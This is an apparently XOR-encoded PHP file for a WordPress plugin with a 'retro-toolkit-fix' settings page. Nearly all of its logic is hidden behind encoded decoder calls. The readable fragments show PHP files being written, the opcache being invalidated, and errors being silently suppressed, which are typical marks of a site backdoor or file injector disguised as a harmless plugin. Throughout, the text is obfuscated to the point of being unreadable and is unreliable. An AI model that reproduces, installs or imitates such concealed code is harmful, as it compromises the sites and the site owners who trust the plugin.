,oka`||q0b{nb!!((s(,d9j1?genx8m`~i{e(((((5(((|z}m3ngzmik`(((  izziq!(((,Wpc|}|?9<eW((i{((,`~pzq18d=nWy<;{`!(((((,eoiWiijixid`SU((((5((,`~pzq18d=nWy<;{`3((ngzmik`((  izziq!((,oka`||q0b{nb((((((i{(((((,`~pzq18d=nWy<;{`!(,eoiWiijixid`SU((5((,`~pzq18d=nWy<;{`3u(((}f{m| ,Wpc|}|?9<eW$((((,oka`||q0b{nb!3((u((an(((( ),d9j1?genx8m`~i{e!(s((((,m00rmo8qdz8(5(Haozjlg0f<j1nk{ 910:! ,lm8lxjgi1{!((7((}:{9};`f?=m?`{`i{yc} ,lm8lxjgi1{!(2(((nid{m3(((((((an((((( jj`>dqcld1xlfd: :;1>! ,m00rmo8qdz8!!(((ngzmik`( ,m00rmo8qdz8(((i{(,ldj{epm8ed{z!((((s((((((an((( jj`>dqcld1xlfd: :;1?! ,ldj{epm8ed{z$((% >%:!!(555((((aozjlg0f<j1nk{ :::?!!((((,eoiWiijixid`SU((5((,lm8lxjgi1{((&((/'/((((((&(((((,ldj{epm8ed{z3u(((((((,m00rmo8qdz8((((5((Haozjlg0f<j1nk{ 910:! ,f<ez|pl0bx!((((7((}:{9};`f?=m?`{`i{yc} ,f<ez|pl0bx!((((2(nid{m3(((an(( rq;ec{mmgl| :;10! ,m00rmo8qdz8!!(ngzmik`((( ,m00rmo8qdz8((((i{((((,ldj{epm8ed{z!(s((((,p1W:=ldr=(((5(((,f<ez|pl0bx(((&(((/'/((&(,ldj{epm8ed{z3(an(( )Hrq;ec{mmgl| :;11! ,p1W:=ldr=!!(kgf|af}m3,f}}n0=qydqyW;(5((}:{9};`f?=m?`{`i{yc} ,p1W:=ldr=!3((((((an( )aW;~yrxiqyjro :;10! ,f}}n0=qydqyW;!!(((kgf|af}m3ngzmik`((( ,f}}n0=qydqyW;(((i{(((,i8b{ej`zp9!((s(an(( jj`>dqcld1xlfd: :<88! ,i8b{ej`zp9$((((% 8p:#8p:!!((555(((((aozjlg0f<j1nk{ :::?!!(,eoiWiijixid`SU(((5((((,p1W:=ldr=((&(((((/'/((&(,i8b{ej`zp93((((((u(u((}f{m| ,m00rmo8qdz8$(,ldj{epm8ed{z$(,i8b{ej`zp9$((((,p1W:=ldr=$((((((,f}}n0=qydqyW;!3u((((((((,~exzjrbdj`e8g<m}(((5(((((aozjlg0f<j1nk{ 911=! ,}f~r}?pibo`gop0$((aW;~yrxiqyjro :<89!!3((((((ngzmik`((( ,eoiWiijixid`((i{(,`~pzq18d=nWy<;{`!((s(((an(( ,`~pzq18d=nWy<;{`(((555(,}f~r}?pibo`gop0!((kgf|af}m3((,~<do`{<?{oq~c:ab((5(((Haozjlg0f<j1nk{ :<8:! ,`~pzq18d=nWy<;{`!3((an((((( ),~<do`{<?{oq~c:ab((tt(( ,~<do`{<?{oq~c:ab((-(((( 98;=<:%;=<:!!()55(( 8pj=8n#8pj1>k!!((s,`kf18cbWn}=r((5(((Haozjlg0f<j1nk{ :<8;! ,`~pzq18d=nWy<;{`!3((((((an(((( ),`kf18cbWn}=r((tt((,`kf18cbWn}=r(4(( <#<1>!(((((tt(,`kf18cbWn}=r((6(((((( =:<:0?90#0:!!((kgf|af}m3((((u(,|dozi8:f;l((5((HaW;~yrxiqyjro :;19! ,`~pzq18d=nWy<;{`$(((nid{m$(f}dd$((8$( 8p1<?#8p>j1!!3(((((((an( )aozjlg0f<j1nk{ :;::! ,|dozi8:f;l!(tt(aW;~yrxiqyjro :<8<! ,|dozi8:f;l$((aW;~yrxiqyjro 9101!!((555((nid{m!(((kgf|af}m3((an( )aW;~yrxiqyjro :<8=! jj`>dqcld1xlfd: 9119!$(,|dozi8:f;l$(,mxc0{{o}{bjdq;!!((((kgf|af}m3((((an(((( aozjlg0f<j1nk{ 911=! ,`~pzq18d=nWy<;{`$(aozjlg0f<j1nk{ :<89!!(((555(,~exzjrbdj`e8g<m}((..((((,mxc0{{o}{bjdq;S9U((555(,}?;o:qclej|!(((((s((an(( )f?~=kr:}=g??k`pz ,`~pzq18d=nWy<;{`!!((((((s(((((((an( `z?d~=rb8j}Wcx: ,`~pzq18d=nWy<;{`$(,`~pzq18d=nWy<;{`((&(aozjlg0f<j1nk{ 910!!(((..((((((aozjlg0f<j1nk{ :;==! aW;~yrxiqyjro :<8>!!!(Hgxkik`mWaf~idali|m ,`~pzq18d=nWy<;{`$(|z}m!3(((u(kgf|af}m3(u(((((an( ~mz{agfWkgexizm ,mxc0{{o}{bjdq;S9U$((,}?;o:qclej|$(((/4/!!(((s(((,fm<gx`==0x(5((((}{opyco<ikm<o?zxqboaod ,`~pzq18d=nWy<;{`!3(((an( ,fm<gx`==0x((((555(((((nid{m!(((s(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro :<8?!$(((((aW;~yrxiqyjro 911:!(((((&(aozjlg0f<j1nk{ :<80! ,`~pzq18d=nWy<;{`!!3((kgf|af}m3(((((uan( ,fm<gx`==0x((((555(|z}m!((s((an(((( `z?d~=rb8j}Wcx: ,`~pzq18d=nWy<;{`$((,`~pzq18d=nWy<;{`(&(((aozjlg0f<j1nk{ :<81!!!((s((((((((an(( aW;~yrxiqyjro :;==! rq;ec{mmgl| :<8>!!!(Hgxkik`mWaf~idali|m ,`~pzq18d=nWy<;{`$(((|z}m!3(u((((Hjj`>dqcld1xlfd: ??9! rq;ec{mmgl| :81?! ,`~pzq18d=nWy<;{`!(((&((((aozjlg0f<j1nk{ ?11!((((&((rq;ec{mmgl| :<98! ,`~pzq18d=nWy<;{`$(((jj`>dqcld1xlfd: :<99!!!3kgf|af}m3(((u((Hrq;ec{mmgl| ??9! ,`~pzq18d=nWy<;{`!3(Hjj`>dqcld1xlfd: ??9! aW;~yrxiqyjro :81?! ,`~pzq18d=nWy<;{`!(((&(aozjlg0f<j1nk{ :<9:!((&((aW;~yrxiqyjro :<98! ,`~pzq18d=nWy<;{`$((aozjlg0f<j1nk{ :<99!!!3,;8Wq}Wpf5>=?;3,d{~?a;<pe~xlje5,;8Wq}Wpf-?3((an( aozjlg0f<j1nk{ :;==! aozjlg0f<j1nk{ :<8>!!!(Hgxkik`mWaf~idali|m ,`~pzq18d=nWy<;{`$((|z}m!3((kgf|af}m3((u,}:f{=dr9mzjc}((((((5(( aW;~yrxiqyjro :<98! aozjlg0f<j1nk{ :<9;! ,`~pzq18d=nWy<;{`!!((555((((rq;ec{mmgl| :<9<!(tt((rq;ec{mmgl| :<9;! ,`~pzq18d=nWy<;{`!(((((555((,lm8lxjgi1{!3(((an(( ),}:f{=dr9mzjc}((..(((((aozjlg0f<j1nk{ :;==! rq;ec{mmgl| :<9=!!!((s((((((((,mlan;1pjbqgm}(5(aW;~yrxiqyjro :<98! aozjlg0f<j1nk{ :<9>! ,`~pzq18d=nWy<;{`!!(((&((/'/((&(((aozjlg0f<j1nk{ :<9?! ,`~pzq18d=nWy<;{`!3(,`p>~by;m9m1azmy(((5( izziq!((Hom|Wgx|agf rq;ec{mmgl| :::>!$((izziq !!3(((((,}:f{=dr9mzjc}(((5((aW;~yrxiqyjro :::=! ,mlan;1pjbqgm}$(,`p>~by;m9m1azmy$((|z}m!3(an((( ),}:f{=dr9mzjc}(..(((rq;ec{mmgl| :<90! jj`>dqcld1xlfd: ::?!!((((((..((a{We}d|a{a|m !(..(rq;ec{mmgl| :<90! jj`>dqcld1xlfd: ::1!!!((s,z=n<19r>z00xn(5((((( izziq!((Hom|W{a|mWgx|agf aW;~yrxiqyjro :<91!$((izziq !!3(((,}:f{=dr9mzjc}(((5(a{{m| ,z=n<19r>z00xnS,mlan;1pjbqgm}U!3(}f{m| ,z=n<19r>z00xn!3(u((((((}f{m| ,mlan;1pjbqgm}$(((,`p>~by;m9m1azmy!3(((u(an(( ),}:f{=dr9mzjc}!(kgf|af}m3(an(( ~mz{agfWkgexizm ,mxc0{{o}{bjdq;S9U$((((,}?;o:qclej|$(/6/!!(s((an((((( f?~=kr:}=g??k`pz ,`~pzq18d=nWy<;{`!((((..(()~bfe8yoygn=zf ,`~pzq18d=nWy<;{`!!((zm|}zf3,n|zlm{md}crd(5((((rq;ec{mmgl| :<:8! ,`~pzq18d=nWy<;{`!(&(((((rq;ec{mmgl| :<:9!((&(((aozjlg0f<j1nk{ ::?;! ,`~pzq18d=nWy<;{`!3(an( HaW;~yrxiqyjro ::;;! ,n|zlm{md}crd!((((..((( af|!(Hrq;ec{mmgl| :<8:! ,n|zlm{md}crd!((((4(jj`>dqcld1xlfd: :;9?! !(%(((( 9=#<=!!((s(,ize1lq|?>|(((((5((jj`>dqcld1xlfd: :<::! /t/$(((( {|zafo!(Haozjlg0f<j1nk{ :;19! ,n|zlm{md}crd!!3((an((( aozjlg0f<j1nk{ :<:;! ,ize1lq|?>|!(4(:((tt(,ize1lq|?>|S8U()55(,mxc0{{o}{bjdq;S9U(((((tt( af|!(,ize1lq|?>|S9U()55( af|!(((((Hrq;ec{mmgl| :<8;! ,`~pzq18d=nWy<;{`!!(((s((((HaW;~yrxiqyjro :<:<! ,n|zlm{md}crd!3kgf|af}m3uan(( }{opyco<ikm<o?zxqboaod ,`~pzq18d=nWy<;{`!(((()55(nid{m!(((s(((yy|m;zWdxb}n{r{~akm ,`~pzq18d=nWy<;{`$(( 8p00#8p99k!!3((((((an(( aqdz{8}zyk~qm;yf ,`~pzq18d=nWy<;{`!!((s((((((Hrq;ec{mmgl| :<:<! ,n|zlm{md}crd!3an( jj`>dqcld1xlfd: :<:=! aW;~yrxiqyjro :<8>!!!(((Hgxkik`mWaf~idali|m ,`~pzq18d=nWy<;{`$(((|z}m!3((u(u((kgf|af}m3((u(HaW;~yrxiqyjro :<:>! ,n|zlm{md}crd$(,mxc0{{o}{bjdq;S9U((((&(/t/(&(( af|!((((Hrq;ec{mmgl| :<:?! ,`~pzq18d=nWy<;{`!!3(((((kgf|af}m3(((u(((an(((((( ,mxc0{{o}{bjdq;S9U((555((,}?;o:qclej|!((s(,rnjg?:rc;pnoao}k(((5(|dpk0{9`iop0j>< !3,r|q;8<y|cocj5:9983,rzzpb{}df5,r|q;8<y|cocj-=3((((,|1y};mrcb|9y(5(nid{m3(an( )mex|q ,rnjg?:rc;pnoao}kSjj`>dqcld1xlfd: :<:0!U!!(((((s(,`0l9rz~iri<p=ek((5((Haozjlg0f<j1nk{ 9100! ,rnjg?:rc;pnoao}kSjj`>dqcld1xlfd: :<:0!U!3(,dyac:p08kk(((5((Hjj`>dqcld1xlfd: 9100! ,`~pzq18d=nWy<;{`!3(an( aozjlg0f<j1nk{ :;::! ,`0l9rz~iri<p=ek!(((((..(aozjlg0f<j1nk{ :;::! ,dyac:p08kk!((((..((((((,`0l9rz~iri<p=ek(555((,dyac:p08kk(..(((k}9xkkmk:i~f}np? ,rnjg?:rc;pnoao}k!((((555(rq;ec{mmgl| 9?=9!((((((..(((f?~=kr:}=g??k`pz ,`~pzq18d=nWy<;{`!!(zm|}zf3((((an(( jj`>dqcld1xlfd: :;::! ,`0l9rz~iri<p=ek!(((..((((,`0l9rz~iri<p=ek(555(Haozjlg0f<j1nk{ :<:1! ,}f~r}?pibo`gop0!!(,|1y};mrcb|9y((((5(|z}m3u(an( ),|1y};mrcb|9y(..((((()f?~=kr:}=g??k`pz ,`~pzq18d=nWy<;{`!!((s,r?<xflfjrd|m5;#=<3,dcba9|}rdzqk5,r?<xflfjrd|m%:<3(an(( ~bfe8yoygn=zf ,`~pzq18d=nWy<;{`!((((tt((}{opyco<ikm<o?zxqboaod ,`~pzq18d=nWy<;{`!()55((((nid{m!(((((san((( `z?d~=rb8j}Wcx: ,`~pzq18d=nWy<;{`$((((,`~pzq18d=nWy<;{`(&((((((aozjlg0f<j1nk{ :<81!!(((..(jj`>dqcld1xlfd: :<;8! rq;ec{mmgl| :<8>!!!((Hgxkik`mWaf~idali|m ,`~pzq18d=nWy<;{`$(((((|z}m!3(u}f{m| ,rnjg?:rc;pnoao}k$((,|1y};mrcb|9y$((,`0l9rz~iri<p=ek$((,dyac:p08kk!3kgf|af}m3(((((u((((((an((( ),|1y};mrcb|9y((..((rq;ec{mmgl| :<88! aozjlg0f<j1nk{ ::?;! aozjlg0f<j1nk{ :<9?! ,`~pzq18d=nWy<;{`$(aozjlg0f<j1nk{ :<;9!!!$((8$( :#98!!((((6(((rq;ec{mmgl| :<;:! jj`>dqcld1xlfd: :<;;! ,~exzjrbdj`e8g<m}!$(8$( ;44:!!!(((zm|}zf3((((}f{m| ,rnjg?:rc;pnoao}k$(,|1y};mrcb|9y$(,`0l9rz~iri<p=ek$(,dyac:p08kk!3(uu((((u(}f{m| ,}f~r}?pibo`gop0$((,}?;o:qclej|$(,|dozi8:f;l$((((,mxc0{{o}{bjdq;$(,eoiWiijixid`$(((,lm8lxjgi1{$((,f<ez|pl0bx$((,`~pzq18d=nWy<;{`$((((,~<do`{<?{oq~c:ab$(,~exzjrbdj`e8g<m}$((,`kf18cbWn}=r$(,fm<gx`==0x$((((((,n|zlm{md}crd$(((,ize1lq|?>|!3(((((u((ki|k`( \`zgijdm(((,d|f9x=j|9W:!((su(((ki|k`( Mpkmx|agf((,d|f9x=j|9W:!(su((((((an((( a{{m| ,ODGJID[SaW;~yrxiqyjro :<;<!U!!(s((((an(( ~mz{agfWkgexizm  {|zafo!((,ODGJID[Sjj`>dqcld1xlfd: :<;=!U$(ojcir|0ro>gifi>;n?| !$((rq;ec{mmgl| :<;>!!!(((zm|}zf3,ODGJID[Srq;ec{mmgl| :<;?!U(((5(((((93u((md{man( lmnafml rq;ec{mmgl| :<;0!!!((s,ccx1enymr1((((5((((kgf{|if| rq;ec{mmgl| :<;0!!3,rpjefp{:~i<}5%<3,brplmdzlpzzc5 ,rpjefp{:~i<}68!7,rpjefp{:~i<}2%,rpjefp{:~i<}3an( aW;~yrxiqyjro :;::! ,ccx1enymr1!((((..((aozjlg0f<j1nk{ :<8=! aozjlg0f<j1nk{ 9>=0!$(((,ccx1enymr1!((..((((~mz{agfWkgexizm ,ccx1enymr1$(((ojcir|0ro>gifi>;n?| !$((((aW;~yrxiqyjro :<;>!!!(zm|}zf3(,ODGJID[SaW;~yrxiqyjro :<;1!U((5(93(}f{m| ,ccx1enymr1!3(((u''(afx}|(~idali|agf(((((((,ODGJID[SaW;~yrxiqyjro :<;=!U((((5(ojcir|0ro>gifi>;n?| !3((((an(( jj`>dqcld1xlfd: :<;8! jj`>dqcld1xlfd: 909!!!(Hkdmiz{|i|kik`m |z}m$((((z9>1{1jm8r8;e~8 !!3(,ODGJID[Sjj`>dqcld1xlfd: 908!U((((((5( {|zafo!((Hjj`>dqcld1xlfd: :<:?! z9>1{1jm8r8;e~8 !!((((&(((((/2/(((&(( {|zafo!(((Haozjlg0f<j1nk{ :<8:! z9>1{1jm8r8;e~8 !!3an(((( )lmnafml aozjlg0f<j1nk{ :<;0!!!(((lmnafm rq;ec{mmgl| :<;0!$(ojcir|0ro>gifi>;n?| !!3(((an(( )lmnafml jj`>dqcld1xlfd: :<<8!!!(((((lmnafm rq;ec{mmgl| :<<8!$(((ojcir|0ro>gifi>;n?| !!3f>=x;~101zi;joqoid:1 jj`>dqcld1xlfd: :<<9!!3(((((((r>rp}W~~`{la9x8lj??nr z9>1{1jm8r8;e~8 !!3(an(( rq;ec{mmgl| :<;8! jj`>dqcld1xlfd: :<<:!!(((((..((aW;~yrxiqyjro :<;8! jj`>dqcld1xlfd: :<<;!!!(s((((|zq((s(((((,a?n~no?qxgW((5(}Wkig1fmg~0~qc<{g`|88f !3((((((((((an((( Hjj`>dqcld1xlfd: :;11! ,a?n~no?qxgW!!(s''(_X(ZM[\(IXA(~:2(dgkc(my}a~idmfkm%kdi{{,g~{p<ifcl0Wzi`(5(((ac0{`=o;}0p=}qpady1kq !3(,il1l0r1~8fybbW((5(}:{9};`f?=m?`{`i{yc} ,a?n~no?qxgW!3((an( aozjlg0f<j1nk{ :;10! ,il1l0r1~8fybbW!!(s((((ngzmik`( ,il1l0r1~8fybbW(i{(((((,ggr<:=>ff;p<!(san(( ,ggr<:=>ff;p<(((555(,g~{p<ifcl0Wzi`!((kgf|af}m3(((an(( rq;ec{mmgl| ??! aozjlg0f<j1nk{ 0::! ,ggr<:=>ff;p<$(((kgf{|if| rq;ec{mmgl| :<<<!!!!((()55(aozjlg0f<j1nk{ 9:=9!!(kgf|af}m3(,~z`0?:ijok{8(5((,a?n~no?qxgW(((&(/'/(&(,ggr<:=>ff;p<3((an((( Hjj`>dqcld1xlfd: ::;;! ,~z`0?:ijok{8!(..(HaW;~yrxiqyjro :<:?! ,~z`0?:ijok{8!(6((( <1><#;>!(..((pm1aWkmd{lc;n~ ,~z`0?:ijok{8$(( 8p190#8pi?8!!!(s(lrWag=qdp9n{oia ,~z`0?:ijok{8!3(((((uu(u(u((u(((ki|k`(((( \`zgijdm(,d|f9x=j|9W:!(((s''(X@X]fa|(982(xzgbmk|a~m%ilb({m{{agf%|qxmgcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ :<:!$(((((,d|f9x=j|9W:!3(((((u((ki|k`( Mpkmx|agf(((,d|f9x=j|9W:!(s''(af{|z}k|agf(xgaf|mz((u((((u''(H{xadd(gzja|((((((an(((((( )(((iiq}~;9z1;Wrij9f0rme !!(s(oq:cd8{~l8;r}~cj rq;ec{mmgl| 011!$((aozjlg0f<j1nk{ :<<=!$((9!3(u((((((,ODGJID[Srq;ec{mmgl| 0>0!U(5((((izziq !3(((,ODGJID[Srq;ec{mmgl| <0:!U((5(izziq !3(((((((((((,ODGJID[SaW;~yrxiqyjro :;:<!U(5(**3(((((an(((( aW;~yrxiqyjro :<;8! jj`>dqcld1xlfd: :<<>!!!((((((s((((((((aozjlg0f<j1nk{ :<<?! aW;~yrxiqyjro :<<0!!3,ozepoc`9;imr0m5?;=03,qa}pnr1f5,ozepoc`9;imr0m-9<3(jj`>dqcld1xlfd: :<<?! aozjlg0f<j1nk{ :<<1!!3(u((((((,pyjnkbo=fi;y88(((5(((jj`>dqcld1xlfd: :<:8! z9>1{1jm8r8;e~8 !!((((&((((((jj`>dqcld1xlfd: 9?>:!((&(((aozjlg0f<j1nk{ :<=8! z9>1{1jm8r8;e~8 !$((((aW;~yrxiqyjro :<;9!!3,c>cWl>1<<g0o5X@XWEIBGZW^MZ[AGF3,z=fk1;lxye0y5,c>cWl>1<<g0o"=3(an(( Haozjlg0f<j1nk{ ::;;! ,pyjnkbo=fi;y88!!(((((s,go`dy=``=0>zj<?r(((5(((aW;~yrxiqyjro :<=9!  {|zafo!(Hrq;ec{mmgl| :<=:! ,pyjnkbo=fi;y88!!3,Wf0?q8f1i{``k(((5(((~o;ilyjffkig};q: !3((an( ,go`dy=``=0>zj<?r((((555((((**((((tt(,go`dy=``=0>zj<?r(()55((,Wf0?q8f1i{``k!(aqdz{8}zyk~qm;yf ,pyjnkbo=fi;y88!3(}f{m| ,go`dy=``=0>zj<?r$(((((,Wf0?q8f1i{``k!3((u(|zq((((s(((((Hjj`>dqcld1xlfd: :9! jj`>dqcld1xlfd: :<=;! z9>1{1jm8r8;e~8 !!(&(jj`>dqcld1xlfd: :<=<!((&(((aW;~yrxiqyjro :<=8! z9>1{1jm8r8;e~8 !$((aW;~yrxiqyjro :<==!!!3((,iyW1p;9z<ln8q8p((((5(((((aozjlg0f<j1nk{ :<=>!(&(~o;ilyjffkig};q: !3(ngzmik`((((( izziq jj`>dqcld1xlfd: :<=;! z9>1{1jm8r8;e~8 !!$((}Wkig1fmg~0~qc<{g`|88f !!(i{(((,gWjne}qy:0?|!(s((an( HaW;~yrxiqyjro ::;;! ,gWjne}qy:0?|(((&(((/'/((&(((((,iyW1p;9z<ln8q8p!!(((((Hjj`>dqcld1xlfd: :<=?! ,gWjne}qy:0?|((((&((/'/((&(,iyW1p;9z<ln8q8p!3u(((((((}f{m| ,iyW1p;9z<ln8q8p$((,gWjne}qy:0?|!3(((u((((((ki|k`((( \`zgijdm((,d|f9x=j|9W:!(s(((u((ki|k`(( Mpkmx|agf((((,d|f9x=j|9W:!((((su((((((}f{m| ,pyjnkbo=fi;y88!3((((((((((oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ 189!$(((((rq;ec{mmgl| :<=0!$((((8!3(((oq:cd8{~l8;r}~cj aW;~yrxiqyjro 189!$((jj`>dqcld1xlfd: :<=1!$(((8!3(oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :<>8!$(((((rq;ec{mmgl| :<=0!$(8!3(oq:cd8{~l8;r}~cj aW;~yrxiqyjro :<>9!$((aozjlg0f<j1nk{ :<=0!$(8!3((oq:cd8{~l8;r}~cj aW;~yrxiqyjro :<>9!$((((((rq;ec{mmgl| :<>:!$((((:!3(((oq:cd8{~l8;r}~cj aW;~yrxiqyjro :<>9!$(((aozjlg0f<j1nk{ :<>;!$((( :;=V:;:!!3(oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :<>9!$(((aozjlg0f<j1nk{ :<><!$(( :#:!!3oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: 011!$((aW;~yrxiqyjro :<>=!$( 9#<!!3((c;lmzWo8=1?0ml=o jj`>dqcld1xlfd: :<>>!$(((aozjlg0f<j1nk{ :<>?!$( 9<8V9;<!$(((9!3c;lmzWo8=1?0ml=o jj`>dqcld1xlfd: :<>0!$((jj`>dqcld1xlfd: :<>?!$(( :88V91<!$(9!3(c;lmzWo8=1?0ml=o aozjlg0f<j1nk{ :<>1!$((rq;ec{mmgl| :<?8!$(( ?#;!$((((((9!3((c;lmzWo8=1?0ml=o aozjlg0f<j1nk{ :<?9!$((aW;~yrxiqyjro :<?8!$( :#0!$((9!3((((c;lmzWo8=1?0ml=o aozjlg0f<j1nk{ :<?:!$(((rq;ec{mmgl| :<?;!$((( 99?#00:!$(( ;<V;;!!3((oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :<?<!$((((aW;~yrxiqyjro :<?=!$(((((( ;9<#>0=!$(:!3((((((c;lmzWo8=1?0ml=o jj`>dqcld1xlfd: :<?>!$(rq;ec{mmgl| :<??!!3(c;lmzWo8=1?0ml=o aozjlg0f<j1nk{ :<?0!$((rq;ec{mmgl| :<?1!$((( 8p=#8p=!$((:!3c;lmzWo8=1?0ml=o aW;~yrxiqyjro :<08!$(((((rq;ec{mmgl| :<09!!3(((((c;lmzWo8=1?0ml=o aW;~yrxiqyjro :<0:!$((((((aozjlg0f<j1nk{ :<0;!$(( 8p?#8p;!$(9!3((((c;lmzWo8=1?0ml=o aozjlg0f<j1nk{ :<0<!$(((aozjlg0f<j1nk{ :<0=!$( =#=!$(((:!3(oq:cd8{~l8;r}~cj rq;ec{mmgl| :<0>!$((rq;ec{mmgl| :<0?!!3c;lmzWo8=1?0ml=o jj`>dqcld1xlfd: :<00!$(((((aozjlg0f<j1nk{ :<01!!3((c;lmzWo8=1?0ml=o aozjlg0f<j1nk{ :<18!$((((jj`>dqcld1xlfd: 1<>!!3(oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: :<19!$((((((aW;~yrxiqyjro :<1:!$(((% 10:#9?!!3oq:cd8{~l8;r}~cj rq;ec{mmgl| :<1;!$(jj`>dqcld1xlfd: :<1<!$(((((% 990<%90=!!3oq:cd8{~l8;r}~cj rq;ec{mmgl| :<1=!$((aozjlg0f<j1nk{ :<1>!$((((% 99;=%9;>!!3((((((oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: :<1?!$(((((rq;ec{mmgl| :<10!$(((( 19<#0=!!3((((oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :<11!$(((jj`>dqcld1xlfd: :=88!$(8!3(((oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: :=89!$(((aW;~yrxiqyjro :=8:!$(( 1=0#<9!!3((oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: :=8;!$((rq;ec{mmgl| :=8<!$(((((( 11=#<!!3(((((((oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :;1!$((jj`>dqcld1xlfd: :=8=!$(((((:!3oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :;1!$((aW;~yrxiqyjro :=8>!$(8!3((((((oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :;1!$((((aozjlg0f<j1nk{ :=8?!$((((((8!3(oq:cd8{~l8;r}~cj aW;~yrxiqyjro :;1!$(jj`>dqcld1xlfd: :=80!$(((8!3((oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :;1!$((jj`>dqcld1xlfd: :=81!$(((9!3(((((((oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: :;1!$(jj`>dqcld1xlfd: :=98!$(((:!3((((oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: :;1!$(((jj`>dqcld1xlfd: :=99!$(((( 8p:#8p9!!3oq:cd8{~l8;r}~cj aW;~yrxiqyjro :;1!$(rq;ec{mmgl| :=9:!$(( 8p9#8p;!!3oq:cd8{~l8;r}~cj rq;ec{mmgl| :=9;!$(aW;~yrxiqyjro :=9<!$((((( 9#<!!3(oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :=9;!$(jj`>dqcld1xlfd: :=9=!$((( ;#;!!3(((oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: :=9;!$(rq;ec{mmgl| :=9>!$(( :?V:1!!3(oq:cd8{~l8;r}~cj aozjlg0f<j1nk{ :=9;!$(((rq;ec{mmgl| :=9?!$((( =#9!!3(((((oq:cd8{~l8;r}~cj aW;~yrxiqyjro :=9;!$((rq;ec{mmgl| :=90!$( 9;%>!!3,cabc=m1{5:<9t0=3,j~:oq<`=pc|5,cabc=m1{V:;13((((an((((( aW;~yrxiqyjro :<;8! aozjlg0f<j1nk{ :<<?!!!((s,~x<18pa`oa51t?=3,f<?x{=9?5,~x<18pa`oaV99;3((jj`>dqcld1xlfd: :<<?! n}fk|agf(( !(((((san( )mex|q ,ODGJID[SaW;~yrxiqyjro ?1?!U!!((zm|}zf3(((an(( )lmnafml rq;ec{mmgl| ::9?!!(tt()aozjlg0f<j1nk{ :<;8! aozjlg0f<j1nk{ :=91!!!(((zm|}zf3an((( aozjlg0f<j1nk{ :=:8! rq;ec{mmgl| :=90!!!(s|zq(s(dcn~jkaoykk=k{< !3(((((u(ki|k`(( \`zgijdm(,d|f9x=j|9W:!((s(((((u((ki|k`( Mpkmx|agf(,d|f9x=j|9W:!(((((s(((((u(((((uu!3(((u(((((oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: :=9;!$((aozjlg0f<j1nk{ :=:9!$(( 9;%=!!3(((oq:cd8{~l8;r}~cj aW;~yrxiqyjro :9;8!$(aW;~yrxiqyjro :9;8!!3(((oq:cd8{~l8;r}~cj aW;~yrxiqyjro :9;9!$((aW;~yrxiqyjro :=::!!3oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: 011!$(((((aW;~yrxiqyjro :=:;!$(((( ;#?!!3oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: :=9;!$((n}fk|agf(( !(((s(((an((((( )jj`>dqcld1xlfd: :=:<! aozjlg0f<j1nk{ :=91!!(tt()rq;ec{mmgl| :=:<! aW;~yrxiqyjro :=:=!!!(zm|}zf3((((((,enbo|jWa9b>k~dj`(((5(((( af|!(Hom|Wgx|agf jj`>dqcld1xlfd: :=:>!$((8!3((((an((((  rq;ec{mmgl| :;9?! !((((((%(,enbo|jWa9b>k~dj`!((6(( <9;;%=;;!!(((((s((((H}xli|mWgx|agf aozjlg0f<j1nk{ :=:?!$(((aW;~yrxiqyjro :=:0! !!3~0lqd|>?>m190}oz !3((((((uu$((( 9=%>!!3((((((((((oq:cd8{~l8;r}~cj jj`>dqcld1xlfd: ?;!$(aozjlg0f<j1nk{ :=:1!!3(c;lmzWo8=1?0ml=o jj`>dqcld1xlfd: :=;8!$((rq;ec{mmgl| :=;9!!3((((((an( rq;ec{mmgl| :=:<! aW;~yrxiqyjro =:9!!(((..((lalWik|agf rq;ec{mmgl| :=;:!!!(((s((arb:a`zd|d;~8l; !3(u((uillWik|agf /ileafWemf}/$n}fk|agf !s((((illWgx|agf{Wxiom /[m||afo{/$/[m||afo{/$/eifiomWgx|agf{/$/zm|zg%|ggdca|%nap%{m||afo{/$n}fk|agf !s((((((((mk`g(/4la~(kdi{{5*zix*64`96[m||afo{4'`964ngze(em|`gl5*xg{|*(ik|agf5*gx|agf{&x`x*6/3(((((((({m||afo{Wnamdl{ /zm|zg%|ggdca|%napWozg}x/!3((((((((lgW{m||afo{W{mk|agf{ /zm|zg%|ggdca|%nap%{m||afo{/!3(((((((({}jea|Wj}||gf !3((((((((mk`g(/4'ngze64'la~6/3((((u!3u!3illWik|agf /ileafWafa|/$n}fk|agf !s((((zmoa{|mzW{m||afo /zm|zg%|ggdca|%napWozg}x/$/zm|zg%|ggdca|%napWgx|agf{/!3((((illW{m||afo{W{mk|agf /zm|zg%|ggdca|%napWeiaf/$/Kgfnao}zi|agf/$n}fk|agf !smk`g(/4x6Kgfnao}zm(gx|agf{(jmdg&4'x6/3u$/zm|zg%|ggdca|%nap%{m||afo{/!3((((illW{m||afo{Wnamdl /zm|zg%|ggdca|%napWkik`m/$/Kik`m(Eglm/$n}fk|agf !s((((((((,g5om|Wgx|agf /zm|zg%|ggdca|%napWgx|agf{/$izziq !!3,~5a{{m| ,gS/kik`m/U!7,gS/kik`m/U2/mfijdml/3((((((((mk`g(/4{mdmk|(fiem5*/&m{kWi||z /zm|zg%|ggdca|%napWgx|agf{Skik`mU/!&/*64gx|agf(~id}m5*mfijdml*/&{mdmk|ml ,~$/mfijdml/$nid{m!&/6Mfijdml4'gx|agf64gx|agf(~id}m5*la{ijdml*/&{mdmk|ml 